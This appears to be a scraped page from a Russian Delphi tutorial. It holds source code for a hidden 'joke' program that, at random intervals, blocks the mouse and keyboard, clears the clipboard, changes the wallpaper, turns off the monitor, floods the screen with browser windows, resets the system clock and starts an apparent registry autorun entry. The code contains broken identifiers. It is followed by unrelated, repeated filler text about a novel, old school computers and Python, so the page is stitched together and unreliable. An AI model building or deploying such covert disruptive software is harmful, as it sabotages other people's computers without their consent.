Delphi. Учимся на примерах - [30]
> //для отключения мыши и клавиатуры
> Dummy: integer = 0;
> OldKbHook: HHook = 0;
> //для снятия копии экрана
> ВМР1: Graphics.TBitmap;
> DC1: HDC;
> Image1: TImage;
> // для поиска случайного рисунка
> fn: TSearchRec;
> Finds: integer;
> i: integer;
> endval: integer;
> err_str: string;//вывод ошибки
> tm: TSystemTime; //изменение времени
> reg: TRegistry; //для работы с реестром
> JokeNum: shortint; //номер шутки, которую следует выполнить
> curs: TRect; //координаты прямоугольника
>implementation
>procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);
>begin
> reg:= TRegistry.Create;
> reg.RootKey:= hkey_current_user;
> if reg.OpenKey('Control Panel\Desktop', True) then
> reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}
> //растянуть рисунок на весь экран
> reg.WriteString('TileWallpaper', '1');
> with reg do begin
> WriteString('Wallpaper', sWallpaperBMPPath);
> if bTile then begin
> WriteString('TileWallpaper', '1');
> end
> else begin
> WriteString('TileWallpaper', '0');
> end;
> end;
> reg.Free;
> SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);
>end;
>function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
>begin
> if code < 0 then
> Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)
> else
> Result:= 1;
>end;
>{$R *.dfm}
>procedure TForm1.Timer1Timer(Sender: TObject);
>var
> JokeNum: shortint;
> curs: TRect;
>begin
> JokeNum:= Random(10) + 1;
> case JokeNum of
> 1: begin //Уменьшить диапазон движения мыши
> curs := Rect(0, 0, Screen.Width div 2,Screen.Height);
> ClipCursor(Scurs);
> end;
> 2: begin //Отключить мышь
> SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);
> SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
> OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);
> end;
> 3: begin //отключить клавиатуру
>
> SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);
>
> SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
>
> OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
> end;
> 4: begin //Очистить буфер обмена
>
> ClipBoard.Open;//открываем буфер обмена
>
> ClipBoard.Clear;//очищаем буфер обмена
>
> //Помещаем в буфер обмена свой текст
>
> Clipboard.asText:= 'Буфер обмена временно не работает!';
>
> ClipBoard.Close; //закрываем буфер обмена
> end;
> 5: begin // сделать копию экрана и назначить её фоном
>
> ВМР1:= Graphics.TBitmap.Create;
>
> //задаем размеры рисунка такие же,как размеры экрана
>
> BMP1.Height:= Screen.Height;
>
> BMP1.Width:= Screen.Width;
>
> DC1:=GetDC(0);
>
> //Делаем копию экрана
>
> BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);
>
> Form1.Visible:= True;//восстанавливаем окно нашей программы
>
> Image1:= TImage.Create(nil);
>
> BMP1.IgnorePalette:= True;
>
> Image1.Picture.Assign(BMP1);
>
> BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp
>
> SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон
>
> Repaint; //обновляем
> end;
> 6: begin // Найти случайный рисунок и сделать его фоновым
>
> endval:= Random(10) + 5; //для случайности выбора рисунка
>
> //ищем все файлы с расширением *.bmp в каталоге Windows
>
> Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);
>
> Finds:= Random(2); //случайное число, 0 или 1
>
> //если выпала 1, то устанавливаем первый попавшийся рисунок
>
> if Finds = 1 then SetWallpaper(fn.Name, False);
>
> if Finds = 0 then begin //иначе…
>
> for i:=1 to endval do begin
>
> Finds:= FindNext(fn); // …ищем другие рисунки
>
> //выбираем любой другой рисунок и делаем его фоновым
>
> if i = endval – 3 then SetWallpaper(fn.Name, False);
>
> end;
>
> end;
>
> FindClose(fn); //завершаем поиск
> end;
> 7: begin //Выключить монитор
> SendMessage(Application.Handle, WM_SYSCOMMAND,
>SC_MONITORPOWER, 1);
> end;
> 8: begin //Сообщение об "ошибке"
>
> for i:=1 to 200 do begin
>
> case i of
>
> //после каждого 25-го числа – перенос на новую строку
>
> 25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;
>
> end;
>
> //текст "ошибки"
>
> err_str:= err_str + IntToStr(Random(99999));
>
> end;
>
> MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение
> end;
> 9: begin //Запуск Internet Explorer
>
> for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.
>
> ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +
>
> 'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);
> end;
> 10: begin //Перевести время
>
> GetLocalTime(tm); //узнаем текущую дату и время
>
> tm.wYear:= 2000; //устанавливаем год
>
> tm.wMonth:= 01; //месяц
>
> tm.wDay:= 01; //день
>
> tm.wHour:= 0; //часы
>
> tm.wMinute:= 0; //минуты
>
> tm.wSecond := 1; //секунды
>
> tm.wMilliseconds := 0; //мс
>
> SetLocalTime(tm); //устанавливаем новую дату и время
> end;
> end;
>end;
>procedure TForm1.FormPaint(Sender: TObject);
>begin
> Form1.Hide; //прячем форму
>end;
>procedure TForm1.FormCreate(Sender: TObject);
>var
> reg:TRegistry;//переменная для работы с реестром
> path: string;//содержит путь к нашей программе
>begin
> Randomize; //генератор случайных чисел
> //узнаем путь к программе и ее имя
> path:= Application.EXEname;
> reg:= TRegistry.Create;//открываем реестр
> //ветка текущего пользователя
В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.
Сейчас во многих школах, институтах и других учебных заведениях можно встретить компьютеры старого парка, уже отслужившие свое как морально, так и физически. На таких компьютерах можно изучать разве что Dos, что далеко от реалий сегодняшнего дня. К тому же у большинства, как правило, жесткий диск уже в нерабочем состоянии. Но и выбросить жалко, а новых никто не дает. Различные спонсоры, меценаты, бывает, подарят компьютер (один) и радуются, как дети. Спасибо, конечно, большое, но проблемы, как вы понимаете, этот компьютер в общем не решает, даже наоборот, усугубляет, работать на старых уже как-то не хочется, теперь просто есть с чем сравнивать.
В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.
В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.
В книге рассказывается история главного героя, который сталкивается с различными проблемами и препятствиями на протяжении всего своего путешествия. По пути он встречает множество второстепенных персонажей, которые играют важные роли в истории. Благодаря опыту главного героя книга исследует такие темы, как любовь, потеря, надежда и стойкость. По мере того, как главный герой преодолевает свои трудности, он усваивает ценные уроки жизни и растет как личность.
Python - объектно-ориентированный язык сверхвысокого уровня. Python, в отличии от Java, не требует исключительно объектной ориентированности, но классы в Python так просто изучить и так удобно использовать, что даже новые и неискушенные пользователи быстро переходят на ОО-подход.